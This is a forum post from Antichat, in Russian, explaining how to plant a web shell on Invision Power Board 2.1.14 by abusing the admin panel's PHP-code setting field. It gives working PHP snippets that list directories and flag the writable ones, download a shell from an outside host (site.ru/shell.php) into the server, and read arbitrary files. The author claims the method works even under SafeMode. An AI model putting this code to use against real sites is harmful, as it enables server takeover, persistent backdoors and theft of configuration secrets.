Форум АНТИЧАТ - Показать сообщение отдельно - Заливка шелла в ipb 2.1.14, имея доступ в админку

Заходиш в настройки -> выбираеш любую настройку -> добавить настройку.
В поле php код вбиваеш:

Цитата:

$d = dir(".");
echo "Path: " . realpath($d->path) . "<br />\n";
while (false !== ($entry = $d->read())) {
if (is_dir(realpath($d->path).'/'.$entry)) {
echo "[".$entry."]".(is_writable(realpath($d->path).'/'.$entry)
? '[w]' : '').
"<br />\n";
} else {
echo $entry.(is_writable(realpath($d->path).'/'.$entry) ?
'[w]' : '')."<br />\n";
}
}
$d->close();

Потом ищиш диру где разрешена запись и таким же способом загружаеш шелл, вот код для удалённой загрузки:

Цитата:

$linky="http://site.ru/shell.php";
$saved="/путь_до_расширенной_диры/shell.php";
$from=fopen("$linky","r");
$to=fopen("$saved","w");
while(!feof($from)){
$string=fgets($from,4096);
fputs($to,$string);
}
fclose($to);
fclose($from);

У меня такое всегда работает даже когда SafeMode On
Если хочеш прочитать какой либо файл ,то вбиваеш в поле php код следующее:

Цитата:

echo nl2br(htmlspecialchars(implode('', file('/путь_до_файла/file.php'))));